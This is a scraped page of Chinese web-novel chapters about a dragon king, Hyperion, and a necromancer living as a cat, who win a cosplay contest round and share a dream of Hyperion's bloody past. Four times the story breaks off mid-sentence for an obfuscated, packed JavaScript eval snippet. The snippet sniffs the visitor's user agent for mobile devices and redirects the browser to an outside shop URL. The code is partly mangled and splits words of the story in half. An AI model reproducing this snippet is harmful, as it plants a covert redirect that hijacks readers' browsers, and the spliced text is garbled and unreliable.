谁知亥伯龙半阖上眼睑,对这个话题的态度比之前的两个还要意兴阑珊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021775|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他语调平直,没有起伏地说,“还不如多杀几个。” 莫特默:? 这下莫特默真的要打出一个问号了。 又杀? 这什么停不下来的战斗狂,冷血连环杀手? 亥伯龙和莫特默大眼瞪小眼。 莫特默欲言又止,最后不愿承认自己的失败,虽不抱希望,还是憋着一口气,倔强又小声地说: “……留下的遗憾?” 亥伯龙刚想再次否认,蓦然微怔。 他表情若有所思,话锋一转:“这么说来,倒是有一个。” 莫特默:! 莫特默屏息凝神,期待地凝望亥伯龙,洗耳恭听。 啊哈!果然不出他所料,他没错!亥伯龙再怎么嗜杀,生命中也不可能全是…… 就听亥伯龙冷笑出声: “没能在死前亲眼见到我最后一个敌人咽气的模样,真是太可惜了。” 莫特默:…… 莫特默面无表情。 莫特默陷入深深的忧郁。 不行啊。不行。 这样他们怎么才能赢得大赛的第一名,又怎么赢得那20万的奖金? 莫特默为自己默默打气,不,他不能轻易放弃。 他可是未来可能成为最厉害的亡灵法师的猫猫,世界上最特别,最聪明的猫。 这个问题怎么能难倒他? 既然亥伯龙自身的经历全都是枯燥乏味的杀杀杀杀。 ——正史不行,那让我们来看看野史吧! 拿来吧你,同人本!!! 莫特默聪明的脑瓜子一下子就想到了那个带着眼镜的人类男性所说的同人本。 既然亥伯龙在人类眼中是传说故事里的角色,那自然有关于亥伯龙的故事。 “亥伯龙”还如此受人类欢迎,大有潜质啊! 但问题来了。 买同人本需要钱,但他们要赢得大赛才有钱,可买了同人本才可能赢得大赛,而同人本需要钱…… 莫特默闭上眼深呼吸, 再长长吐气。 没办法,都是为了这个家! 莫特默睁眼,一身正气地喝道: “龙,猫也要去打工!” 10. 第 10 章 亥伯龙眼神讶异,打量莫特默小小的身体,语气稀奇:“你?你能做什么?” 莫特默毅然决然地看向一个方向。 在那,有一家一面全是玻璃,可以轻松看清内部的店铺。 店内放置着几张桌椅,地面上散落着蓬松的坐垫,墙上还有一整面错落有致的架子。 但最重要的是,一眼望去,店内大约有十数只猫,或趴或躺地在桌上,架子上,垫子里,甚至人类的大腿上。 而那些人类…… 要么在心甘情愿地给猫喂食,轻声细语地哄着猫猫多吃点,要么在堪称谄媚地用手当梳,一下下地给猫顺毛。 “看!”莫特默说,“也有猫猫打工的店!” 亥伯龙目光缓缓扫过一个个卑颜屈膝的人类,审慎地停在他们那近乎幸福的表情上,修改了之前的评价: “……人类,已经堕落到这种地步了吗。” 莫特默细细打量那家猫咖店,越看越满意,用一种像是在英勇就义的壮烈语气宣布:“这种工作,我可以胜任!” 亥伯龙直截了当地戳破:“你只是想过和那些猫一样吧。” 莫特默狡辩:“我都是为了这个家!” 亥伯龙哼笑一声:“即便你想去,那家店看上去可不像在招员工。” “那是因为没有遇到我,”莫特默臭屁地挺起雪白胸膛,“我这么可爱,这么迷人,店主一定会要我的!” 语毕,雄赳赳气昂昂地翘着猫尾巴,啪嗒啪嗒脚步轻快地直冲向那家店。 …… “叮铃~” “欢迎光临~” “你好,请……” 穿着围裙的店主刚想提醒要先在门口洗一下手再进来摸猫,就看到男人脚边的那只奶牛猫,因为多年的经验,下意识说, “这是?” 刚说完,她就反应过来自己应该是误会了,这么一只漂亮健康的猫,怎么会被像以往那些说是暂放一下,实际拿过来丢弃的一样呢? 如此漂亮的猫,无论是送人还是卖了,都有大把的人要。 见到店主看向自己视线中的惊艳,莫特默顿时得意地用头撞了一下亥伯龙的脚踝,顺便在上面蹭了一脚踝的黑毛毛。 亥伯龙克制住自己因被莫特默蹭得脚踝痒痒而想“啧”一声的冲动,用下巴示意了一下脚边的猫,对店主说: “他要来你店打工。” 莫特默也同时上前扒住店主的裤脚,抬首露出自己的必杀眼神。 莫特默:(灬ΩωΩ灬) 店主难以自禁地露出被萌到的笑容,险些立刻满口应下,好在在最后关头清醒过来。 “不好意思,我们这不收猫猫打工。” 明明是她自己拒绝的,可那口吻中满是遗憾,盯着莫特默的视线也恋恋不舍。 “而且我们这里其实不是猫咖,是宠物领养中心来这里参加漫展进行宣传的,几天后我们就搬走了,目前在店里的猫猫也都是在找领养的。” 听完,亥伯龙眉毛轻轻一挑,眼中浮现出“果不其然”的微光,慢悠悠地垂首看向莫特默。 这下莫特默该放弃了吧。 莫特默 当然没有了! 他义正言辞:“龙,没关系的,我允许你把我放在这,领养出去!” 亥伯龙:? 莫特默眼睛闪闪发光。 什么?不用工作就能白吃白喝? 只要被看上,就有人类养?免费提供食物和零食,玩具,梳毛服务,甚至还有夸夸? 异世界的同胞们,怎么不早说你们过的是这么堕落的好日子。 他作为邪恶的死灵法师,他现在就到代表广大死灵法师对不良诱惑say YES! 免费的仆人,他来了! 亥伯龙:“……” “出息。”他嫌弃地说,“哪个人类会养一个亡……” “请问,这只猫可以领养吗?”一个店里的人指着莫特默问。 店主:“不好意思,这只猫不是我们店里的,喜欢猫猫的话,不如看看别的?” 店铺外。 “好可爱!快看。”一名路过的女生兴奋地指着玻璃窗后的莫特默。 “看什么…好大,好软,哦不…我是说好帅!”另一名女生愣愣地看着莫特默……旁边的亥伯龙。 “叮铃~叮铃~” 猫咖店的门铃响着不停。 “你好,那只猫……” “那只……” 冲着莫特默,和为了别的也说是冲着莫特默的人不断走进店内,络绎不绝。 第N次重复了之前那段话的店主:…… 刚说完莫特默没人要的亥伯龙:…… 莫特默优雅端庄地蹲坐在圆桌上,在一众炙热的围观下,美美地舔了舔毛。 “请问它……” 这次店主还没开口,抱臂站在一旁,身姿挺拔如松的亥伯龙率先打断道: “他不行。” “他,你们养不了。” 亥伯龙声音低沉而平稳,却天然有一种拒人于千里的距离感和压迫感。 闻言有人想开口,可一与亥伯龙那双没有波澜的暗金色的眼眸对视上,一股莫名的紧张感瞬间掐断了所有言语,高涨的热情也瞬间被浇灭了几分,下意识躲开视线。 店主缓了口气,忙接话:“是的,这只奶牛猫是这位先生的,不是我们店里的猫。” 众人顿时纷纷发出遗憾的声音。 一些直接从店内离去,而一些确实对养猫有些意向的,则将目标转向店里的其他猫,与店主沟通去了。 只有莫特默不满地瞪了过来:“龙,我的仆人都被你吓跑了。” 听听,八竿子还没一撇,这个死灵法师已经心安理得地将那些人类叫做仆人了。 亥伯龙放下手臂,率先起身:“走了。” 或许莫特默享受被人类围着的滋味,但他可没兴趣继续看一群人类聚在一起吹捧一个死灵法师。 莫特默歪头,从亥伯龙打断他的不爽中回过神来,若有所思。 亥伯龙之前与他之间关于回忆的对话无疑彰显了亥伯龙生前是一个只对战斗感兴趣,性格傲慢且一意孤行,甚至称得上冷漠残暴的龙族之王。 谈起“爱人”这个词,亥伯龙听上去从未考虑过这么一个存在,活像爱人只是一个会分散他精力的累赘。 从这种对情感的漠然态度来看,要是说亥伯龙亲缘也极度寡淡,家人在他眼中也只是一群可有可无的存在,莫特默也不会意外。 谈起权利的纷争,亥伯龙选择一刀切,将反对者全部杀死,这既是异种对自己实力的绝对自信,也是傲慢专制的体现。 而“酒池肉林”……极端的物欲享受对亥伯龙而言甚至比不过战斗带来的刺激和满足。 这样一个连自己族人都不顾死活,极度自我的龙王, 又为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021776|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么会阻止人类去“领养”亡灵法师? 他被“领养”出去,不止是对他,对亥伯龙也是有好处的。 其一,亥伯龙不再需要和他讨厌的死灵法师虚与委蛇,共处一室; 二不再需要被莫特默指使寻找食物,当每晚的床垫; 三,也能借此脱离莫特默的视线,自由活动。 亥伯龙应该巴不得如此才对。 莫特默确信,亥伯龙不会仅仅是因为讨厌亡灵法师,讨厌他,不想让他如愿,就出声阻止。 可根据亥伯龙曾问他吃不吃人类的问题,也不像是对人类有特殊好感的样子。 那是为什么? 猫的心里像是被一根羽毛轻轻挠过,产生了一些微小的好奇。 “等等!” 店主制止亥伯龙离去的声音打断了莫特默的思考。 她期期艾艾走过来。 借着莫特默和亥伯龙的光,短短不到1小时,进店的人和询问领养事宜的人的数量都超过了昨天一整天的量,所以她想…… 她不好意思道:“关于你之前说的打工……” 唰地一下,莫特默的尾巴就翘了起来。 他递给亥伯龙一个小眼神:他说什么来着? 他就知道,谁会拒绝他? 这个家,终究是要靠他养! …… 漫展同人本摊位上, 眼睛男看着站在他摊位前的亥伯龙,张大嘴巴。 莫特默跳到台子上,嘴中叼着纸币,用爪子按着那本印着“亥伯龙”的本子,暗示地拍拍。 眼镜男还梗着脖子,但手上已经动作娴熟,手脚麻利地装好一本没拆封的“亥伯龙”同人本递过来。 莫特默一把叼住纸袋,就要跳下台子。 眼睛男这才猛地回过神,“等等!” 他一手撑着摊位,另一只手随手拿起摊位上的一本书高举,撕心裂肺道:“我们摊位第二本半价!给的钱够买第二本了!!” 亥伯龙转身转到一半,就在余光略过那本书上的人物时,忽地定住,张口:“拿来。” “谢谢回顾——!” 回去路上,莫特默一长条地挂在亥伯龙肩上,好奇地探头,瞧向亥伯龙手中的那本书的封面。 “龙,你认识这个精灵?” 亥伯龙明明一开始不打算要,可看到封面上的人物后突然转了心意,莫特默有端猜测: “难道是以前的好朋友?” 亥伯龙眉心一抽,脸上随之露出吃到蟑螂般的嫌恶表情:“呕。” “从不。”他答得干脆。 莫特默疑惑地眨眨眼。 过一会儿,亥伯龙看着本子花花绿绿的封面,莫名哼笑起来,笑声低沉愉悦。 莫特默看了看亥伯龙,又看了看亥伯龙视线定焦的方向。 这么开心,还说不是朋友? 啊哈,这难道…… 莫特默脑袋上忽地亮起一个小灯泡。 是那些漫展上的人类口中所谓的 傲娇?! 亥伯龙蓦地停下脚步。 莫特默:“?” “龙,你冷吗?”他感受到亥伯龙不易察觉地轻轻打了个冷颤,连忙吃惊地关怀道。 亥伯龙:“……” 亥伯龙:“…………?” 由魔力构建的躯体怎么会……? 龙不冷。 龙只是有点,困惑。 11. 第 11 章 亥伯龙刚一脚踏入结界内的废弃工地,莫特默就迫不及待地跳下亥伯龙肩膀, 顺便夺走亥伯龙手中提着的那个装着同人本的纸袋,像个小偷般一溜烟地往建筑内跑。 兴奋与好奇的光在莫特默眼中跳跃,他现在只想赶紧找个地方藏起来偷偷看那本同人本。 他不惜亲自打工赚钱,还以好奇为由买来了亥伯龙的同人本,现在就是他享受成果,尽情品鉴一番的时候了! 什么?你说亥伯龙都看到他买了关于他自己的同人本,当时都没反对,甚至还亲手拿回来,为什么还要特地偷偷躲着去看? 嗐呀! 连小猫都知道,看小说上课的时候偷偷看更入迷,更何况是背着本人看对方的同人本? 什么?你说莫特默买同人本不是为了赢得大赛冠军,不应该本着严肃的心态,好好研究观看的吗? 有这回事ma……不,他是说,这叫工作生活两不误! 纸袋被莫特默叼在嘴里,因为过大拖拽在地上,在莫特默身后留下了一条鲜明的踪迹,像是条被落下的小猫尾巴。 亥伯龙视线追着莫特默屁颠屁颠,充满膨胀的快乐的背影,一脚踩在地上那条线上,无声地笑了一下。 他就知道,这个狡诈的死灵法师买那个东西就是想看他笑话。 不过这次就算了,毕竟, 他正巧也有想看的东西。 亥伯龙随意挥舞了一下手中的书,书页在风中发出哗啦啦的声音,好似是封面上的女精灵在细语着什么。 …… 不一会儿,空洞的烂尾楼里响起惊天动地的狂笑声! 要不是整个废弃工地都已经被莫特默的魔法罩住,光是一声就能惊得附近的人纷纷受到惊吓地回头。 要是楼里装了感应灯,所有灯也会齐齐亮起,整栋楼霎时灯火通明。 亥伯龙攥着书页的手不停地发抖,为了防止因过度的狂笑导致书籍从手中滑落,手捏得死死的,用力到手背上青筋分明。 他眼中甚至隐有泪光,盈盈地盛在眼眶中,模糊了那双暗金色瞳孔目光中的锋锐,无端显得深情起来, 可那张与其搭配的英俊脸庞上扭曲的表情完全破坏了这种氛围。 亥伯龙笑得几近腹痛,这个所谓的同人本上对精灵王的塑造他再看一百年也看不腻。 看看,“她是一朵在月光和暗影交界处绽放的花,两种截然不同的心绪同时撕扯着她。” “在此刻,她不再是高高在上的精灵族女王,她冷漠的心化作一池春水。” 亥伯龙忍不住再一次放声大笑。 后世也不是没有什么好东西嘛,他现在甚至比连续不停歇战斗3天还通身舒爽,身体发热。 亥伯龙餍足又意犹未尽地地看完最后一个字,懒洋洋地放下手头的书。 正巧这时,莫特默鬼鬼祟祟,像个虎鲸般悄无声息地游回来了,口中依旧拖着他那个宝贝似的纸袋。 亥伯龙掀起眼皮,注意到莫特默那难掩容光焕发,像是吃到什么大瓜了的表情,难得起了点好奇心。 正好手里的看完了,他伸手就向莫特默口中叼着的纸袋抓去,想拿来莫特默的那本瞧瞧。 眨眼之间,莫特默的动作快如闪电! 莫特默嘴一松,身子一扑。 亥伯龙的手刚伸到一半,莫特默已经整只猫都卧在了纸袋上,牢牢压着纸袋里的那本书, 而亥伯龙要是想拿到书,只能将手伸到他肚皮下。 他农民揣地卧在书上,朝亥伯龙斜昂着头,一副“此书已被他占领,不得触碰”的模样。 亥伯龙:? 亥伯龙转而去拽纸袋的边角,莫特默稳稳压着,不动如山,书也纹丝不动。 亥伯龙一愣,后笑了。 半是好笑,半是气笑的。 他不是不能强行将书抢过来,要是用蛮力,一使劲就能掀莫特默个底朝天,但莫特默这幅霸占东西姿态…… 到底他是龙,还是莫特默是龙啊? 亥伯龙的身体不自觉地向莫特默的方向微倾,原本在书的注意力全都转到占着书的猫上。 猫猫龙莫特默喉咙处发出低低的“呼”声,同时威严警告:“龙,松手。” 真正的龙王,亥伯龙毫不买账,不撒手道:“起开。” 莫特默严肃拒绝:“不起。” 不仅不起,他还伸出一只爪子抵住亥伯龙抓着纸袋边角的手表达抗拒,与此同时,下巴依旧昂起,小猫鼻子翘得老高。 奶牛猫警长发出提醒,拒绝他龙盗窃,从他做起! 亥伯龙确实也缩回了手,但没有如莫特默所愿的放弃,而是再次道:“起开。” 亥伯龙加重了语气,装模作样地眯起眼睛。 莫特默的耳朵随之变成飞机耳,像个扁平的钝角三角形一般压在脑门上,眼神也下压变成凶恶的倒三角。 他缩回爪子,又变回一块方方正正的猫,属实为猫方正:“不起不起不起!” 亥伯龙:…… 莫特默:…… 一猫一龙互不相让,相交的视线在空气中火花四溅。 亥伯龙挑眉,俯视莫特默,轻哂:“你还能一直压着?” 做什么无用功呢? 莫特默寸步不让:“猫今晚就这么睡了!” 诶,他就是能! 并且,“猫还会睁一只眼闭一只眼地睡!”他凛然宣称。 亥伯龙:? 难道他还会半夜来偷?!亥伯龙匪夷所思。 但事情坚持到这种地步,亥伯龙也无意再纠缠下去。 说到底,关于他的那本书上定都是一些胡编乱造,他也是因为看精灵王那家伙的乐子的余韵才想着拿来看看,本身对其是没有什么兴趣的。 而且莫特默愿意晚上睡纸袋上,不比要睡他身上好? 他没必要…… 亥伯龙不知道自己为什么浑身躁动,像是莫特默的猫毛在他骨缝里打转,又或是他的牙床里长出了新牙。 这种陌生,又熟悉得宛如浴血前的蠢蠢欲动,蓄势待发的感觉让亥伯龙迟疑着,顿了好一会儿都没有开腔,可又想说些什么。 最终,他沉默了半晌,只说了一句:“……幼稚。” 莫特默发出胜利的小鼻音。 …… 可能是因为日有所思夜有所梦,也可能是因为今夜莫特默是枕着关于亥伯龙的故事书入睡的。 在梦中,莫特默梦到了亥伯龙。 他看到小小的红龙破壳而出,周围面目模糊的色块见到那红色的鳞片,刹那欣喜若狂。 “红色的鳞片……红龙,是红龙!!” “龙神庇佑,族内终于又有了红龙!!!快,快去通知其他人!” 他看到似乎是处在少年时期的亥伯龙穿过街道,周围的窃窃私语声不绝于耳。 “真的是红龙……龙神大人没有放弃我们。” “他一定能像最初的那位龙王一样,带领我们重现辉煌!” “那大殿下怎么办?” “能怎么办?就算同是王的孩子,也只是一头蓝龙罢了。” “嘘,不要靠近,保持尊敬!那可是被神眷顾的红龙。” 他看到长大了的亥伯龙面色冷淡地路过站在两旁的人,直直走向道路尽头的王座。 高高的王座上坐着一个黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021777|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发的男人,面目模糊不清,只能隐约看清其紧抿的嘴角。 而王座下一名蓝色头发的男人握紧拳头,在亥伯龙路过时猛地揪住亥伯龙的领子:“不过就是因为你是红龙!” 他压低了声音,“我才是应该坐上去的龙,那是本属于我的。” 视线再一转,是喧嚣的战场。 “不愧是龙神看重的红龙……大胜,哈哈哈,龙族大胜!” “在他和龙神大人的带领下,我们龙族将立于这个世界顶端!!!” 战争持续进行,之前的战场上相同的面孔此刻却截然换了一副表情。 “疯了,已经疯了,他是个疯子!暴君!” “疯子,暴君,屠夫……为什么还不停下,明明已经够了,够了!” “死了…大家…都死了……龙族已经赢了,神明大人为什么不停止这场战争?” “……” “——是他。” “是亥伯龙一手挑起了战争,是他想征服世界,他要杀光所有!!!” “都是他?的?错!!” 一片寂静。 巨大的圆桌前,一名神色冷峻,顶头藤蔓状王冠的精灵站起。 “作为签定各族和平条约的前提,我要求将交出种族战争的罪魁祸首,我要求,” 他对上亥伯龙的眼睛,冷静道, “——处死亥伯龙。” 坐在圆桌边的不同种族皆沉默不语,空气安静又沉重,压抑到旁观者都似乎感到骨头生疼。 一秒,两秒……无人开口,也无人动弹,圆桌前宛若是一副被定格的画。 就在这时,处在所有视线,所有明目张胆的,隐晦的,情绪驳杂的关注中心, 亥伯龙撑着下巴,散漫抬眼,看过来。 ……看过来? 莫特默微微茫然。 亥伯龙投射的视线不是在看精灵,也不是在看坐在桌前的任何一个。 他是在看…… 我? 莫特默猛然从梦中惊醒。 正对上和梦中那双一模一样的暗金色眼睛。 亥伯龙眼中没有丝毫睡意,就这么看着莫特默,不知已看了多久。 莫特默眨眨眼,和昨天早上一样,若无其事道:“早喵~” 他若无其事地起身,伸了个懒腰,舔舔爪子梳理毛,若无其事地说一些“又是新的一天”“今天也要努力”之类的话。 亥伯龙没说什么,像是被吵到耳朵般移开视线,应是什么异常都没有发现。 莫特默僵硬的身体就这样缓缓放松,慢了半拍后,紧张刺激感后知后觉涌上心头。 他从梦中醒来,大脑恢复清明的第一时间就反应过来了。 他做的根本不是梦! 而是由于他和亥伯龙魔力联通,导致他在梦中见到了亥伯龙的过去片段。 不是编造的故事,而是真正的,属于亥伯龙的记忆! 莫特默有些不小心窥探了他人秘密的兴奋和心虚,也有些因为这种魔力联通现象而产生的,单纯的好奇与研究欲。 这种因为魔力波长的高相性导致的联通现象,他知道归知道,但还是第一次亲身体验。 不知道这是偶发性的奇迹,只有这一次,还是之后会再次发生? 莫特默想着,忽地梳理毛发的动作一顿,又接着故作无事地继续动作下去。 魔力联通,联通的是双方,作用的也是双方。 他梦到了亥伯龙的过去,那亥伯龙…… 莫特默不安地回想起亥伯龙那双清明的眼眸。 亥伯龙…… 昨晚睡了吗? 他有没有……? 12. 第 12 章 阅读完亥伯龙的同人本后,莫特默本已经对他们在比赛上要出演的情景剧有了一定的想法,但在做完昨晚的梦,那些想法也随之烟消云散。 人类编造的故事再怎么精彩,又怎么比得过亥伯龙的亲身经历? 而且莫特默不得不承认,在看过亥伯龙的过去片段后,同人本上的内容与亥伯龙之间差距大到连猫都看不下去。 莫特默之前判断亥伯龙的经历只有打打杀杀,无法搬上舞台,人类也估计欣赏不来,但他现在又有了不同的看法。 他们为什么非要进行表演,而不是单纯朝众人展现亥伯龙本身的存在? 亥伯龙愿意参赛,从不,也绝不会是为了取悦观众。 而他能说服亥伯龙参赛,也是利用了亥伯龙本身的好胜心,以及“修正人类对亥伯龙的错误认知”这一理由。 既然如此,他们的登台也不应该是一出表演…… 而应是一场宣告亥伯龙其本身存在,重演征服的仪式! …… 3天后的比赛现场, “有请下一位,67号,亥伯龙!” 主持人大声宣读后,坐在舞台前的一位评委看着走上台的男人面露惊讶,和身侧的另一评委说起悄悄话: “不是说cos的是亥伯龙吗,怎么上来的是男的,报错项目了?” 台下的观众们也发出一阵阵疑惑和善意的笑声,误以为比赛出了差错,或是这位参赛者在搞什么花头。 “砰——!” 猝不及防一声巨响! 所有人猛地止住话语,望向舞台。 红发的男人站在那,身后拖着猩红的龙尾施施然在舞台上游弋,赫然就是其叩击在舞台上发出巨大的噪音。 下一刻,舞台瞬间化为浩瀚的战场。 燃烧的地面,破碎的武器,风暴的音效贴着众人耳畔呼啸。 众人难以自禁地发出惊呼。 ——是投影? 亥伯龙站在燃烧的舞台中心,嘴角噙着若有若无的笑意,抬臂架住不知何处出现的敌人攻来的武器。 接着是下一个。 他的姿态有多闲适写意,动作就有多急速。 在这一场与光影构成的敌人交战的眼花缭乱间,他嘴边的笑意愈发明显。 每一次挥击,都伴随着有节奏的炸裂声响,像是音乐的旋律,但那是轰然的雷霆,空间撕裂的声响,骨头断裂的崩鸣。 风的呼啸,剧烈的碰撞声。 在混乱又有序的背景音中,身后缀着龙尾的男人随意地在台上走来走去, 他仿佛在只是惯常地巡视自己的领土,又仿佛每一步都刻意地踏在了音乐的鼓点上。 但急速被消灭的敌人让人一眼就能明白,他的动作不是演示出的花哨套路,而是一种令人耳晕目眩,微微发汗的,极致高效又充满破坏美学的杀戮艺术。 随着动作,他领口微微敞开,露出底下麦色的皮肤,胸膛随着呼吸一起一伏,分明没有敞出大片的皮肤,也没有出一滴汗, 但一种狂野又矜持的性感就这么自然而然地像蜜一般流淌在他唯一露出的脖颈,腕间。 在最激烈的战斗顶点,最后朝他攻来的敌人被他一记凶狠的抓住头颅,甩下台下,又在台下的观众恍惚间闻到扑来的血腥气时化为光点消散。 他站在舞台中央,站在干净的舞台中央,回味般垂首静立, 要是他穿着西装,此刻肯定是在漫不经心地整理袖口。 随后,结束回味的男人缓缓抬头,双瞳中燃着熔金般的火焰。 “没了吗?” 众人屏息。 这句话像是挑衅地说敌人为何不再上前,又像是在平静质问—— 还有谁敢上前? 谁,能够战胜他?! 观众与评委们久久不得言。 没有得到答复,也本应如此的台上之人转身,走下舞台。 没有鞠躬,没有谢幕,甚至全程他没有看过一次观众席,仿佛他们与评委都只是恰好途径他战场,被放过一马的幸运儿。 良久,他们从震撼中回神,但仍沉浸在那种颤栗的感受中,无人说话,只有录像机表示持续工作的绿点在不停闪烁。 之前被另一个评委说悄悄话询问,曾在数场cosplay比赛上做评委,阅人无数的老资历则抽了一口气,攥紧手中的笔。 非取悦,是震慑。 非叙事,是宣言。 非共情,是俯视。 台上的人演的根本不是角色,而是属于“亥伯龙”原形中“战斗”这一概念的化身。 就像是在说, 有些人,生来就是为了粉碎与征服! 比起只是扮演外形,上台的人分明抓住了一个角色更深层次的本质。 他知道,台下的观众已被征服,而他…… 评委颤抖着,毫不犹豫在纸上的【通过】后划上勾。 ——他也找到了这一届的比赛冠军的种子选手! …… 可惜人与人之间的悲欢并不相同,更何况人与猫之间。 即使眼尖地瞅到那张纸上的【通过】,莫特默依旧心痛得不能自拔。 台下的人类都认为亥伯龙最后的台词升华了整个舞台,是他在用这句台词诠释表演,想得深一点的,会认为这也是在问其他参赛者,表明自己的势在必得。 只有莫特默知道,那句“没了吗?” 是在问他! 莫特默的悲伤逆流成河。 没了没了没了!真的没了! 活爹,谁有你能享受啊?不要再打了,快下来吧! 再这么烧下去,魔力就全没了! 那些光影的敌人,那些亥伯龙一尾巴下去没有坏掉的舞台,你以为是怎么来的? 都是他啊!都是他在幕后兢兢业业,勤勤恳恳,一边制造幻象,一边保护舞台和观众。 不说功劳,全是苦劳。 亥伯龙目不斜视地从舞台走下来,就看到莫特默歪着身子靠在墙边,张着嘴吐魂的样子。 他端详了一会儿,俯身弯腰去捞,嘴上还不饶猫:“就这?” 莫特默扭头含泪一口咬住亥伯龙伸来的手,口齿含糊: “唔唔不嘘笑看唔,唔可是危莱有可能橙为醉厉嗐的望灵法嘶。” 亥伯龙晃了晃挂在自己虎口上,随着被提起拉成长长一条的猫。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021778|194269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 猫在空中丝滑地左晃右晃,就不撒嘴。 再次听到死灵法师这个词,亥伯龙这次竟也不恼,反而看莫特默这副死犟的可怜模样有些顺眼。 可能是因为莫特默说话的腔调有些滑稽,带着死灵法师这个词仿佛也染上了些好笑的意味, 也可能是因为虽然没有真的来上一场,但也稍微活动了一下身手,此刻他的心情算还不错。 但那都不重要,亥伯龙不客气道:“下次给我来点精灵。” 莫特默:? 他双眼一睁:大胆! 他是主人还是亥伯龙是主人?竟然还提上要求了! 搁这点菜呢?当他这儿是餐馆?还要他用魔力专门塑造出精灵的幻象! 而且他怎么知道亥伯龙时代的精灵上战场是什么样的?他…… 莫特默:…… 他知道。 莫特默扁扁地答应了龙的无理要求。 看在接下来还需要龙出力的份上,他勉为其难满足龙的心愿吧。 他可真是个好心的主人。 莫特默假模假样地心想。 绝对不是因为他捏造幻象的时候,其实按照梦境取材了一点点。 也绝不是因为他没法解释为什么他捏造的幻象符合亥伯龙的认知,而亥伯龙对此什么都没问。 莫特默:…… 但既然亥伯龙没问,那就说明问题不存在! 亥伯龙又笑了一声,莫特默就当这是在赞美他的伟大与宽容。 无论如何,亥伯龙通过初赛是确凿的事实,很快,第一笔初赛奖金就会发到他们手上。 莫特默也实现了他最初的目的,让亥伯龙给他打工赚钱。 一切都在莫特默的计划之中。 也就是说…… 莫特默对自己确信地点点头。 猫,赢——! …… “咔哒” 鼠标在敲击时发出清脆的声音,电脑屏幕上的画面随之暂停。 一个浅灰色的暂停标志浮现在视频中心,右下角500多万的播放量和300多万的点赞,无言彰显了这个视频在短短的时间内就达到了怎样的传播量。 坐在电脑桌前的人拖动鼠标,箭头光标越过右下角,落在处在视频中心的脸上。 他放大画面。 随着镜头拉近,那头鲜艳似火的红发,以及那双气势逼人的瞳孔愈发鲜明。 视频上的人,正是亥伯龙。 “……龙。” 握着鼠标的人紧盯着视频中那双暗金色的瞳孔,百般确认,但仍更相信自己的判断,不由低声喃喃, “是返祖?” 他的目光转向视频上的标题:【第四届菲瑞全国cosplay大赛-X市初赛-亥伯龙】 他在X市的字眼凝视了许久,薄薄的嘴唇情不自禁翘起,一个个极其稀有的魔法素材吐出他的嘴唇: “龙鳞,龙血,龙眼……” “可都是,难得的好东西啊。” 轻轻的、喜悦的喟叹声消散在空气,房间重归一片寂静, 只有电脑屏幕上,灼灼的瞳孔仍在一动不动地直视面前空荡荡的座椅。 13. 第 13 章 “几天后就能领取奖金了!” 莫特默松开咬在亥伯龙手上嘴,垂直自由落地到地上。 空中落体时,他像个被打了气的气球,短短时间内从扁扁的状态故态复萌,落地的瞬间完美复活。 他站在亥伯龙面前,神采飞扬,兴高采烈得眼波流转,浑身的毛毛好似都容光焕发到在反射着光。 “这是我们赚钱的一小步,也是我们在异世界迈出的一大步。” 莫特默摩拳擦掌又语重心长道: “龙,我们要好好利用这笔钱,为之后的日子打上良好的基础。” “所以,我们应该用这笔钱先去买——” 莫特默拖长了音,眼神暗示地朝亥伯龙看过来,充满了期待与不言而喻的意味。 亥伯龙接受到信号,无可无不可,收回手纵容地开口接话。 莫特默看准时机:“手机!” “金币。”亥伯龙肯定道。 两个截然不同的声音交叠在一起,格格不入。 莫特默:……? 亥伯龙:……? 空气登时一静。 亥伯龙露出些许意外惊讶的神色,似是没想到莫特默和他说的不是一个词。 莫特默则在短暂的懵圈后大怒。 怎么回事?他们怎么会提出两个几乎完全迥异的答案? 他还以为他们之间经历了刚刚的那场合作后,会变得很有默契。 而且亥伯龙怎么好意思感到意外? 他打出问号不是因为他有疑问,而是觉得你有问题! 猫猫对你很失望! 莫特默气愤地瞪视亥伯龙。 “怎么会是金币?!” 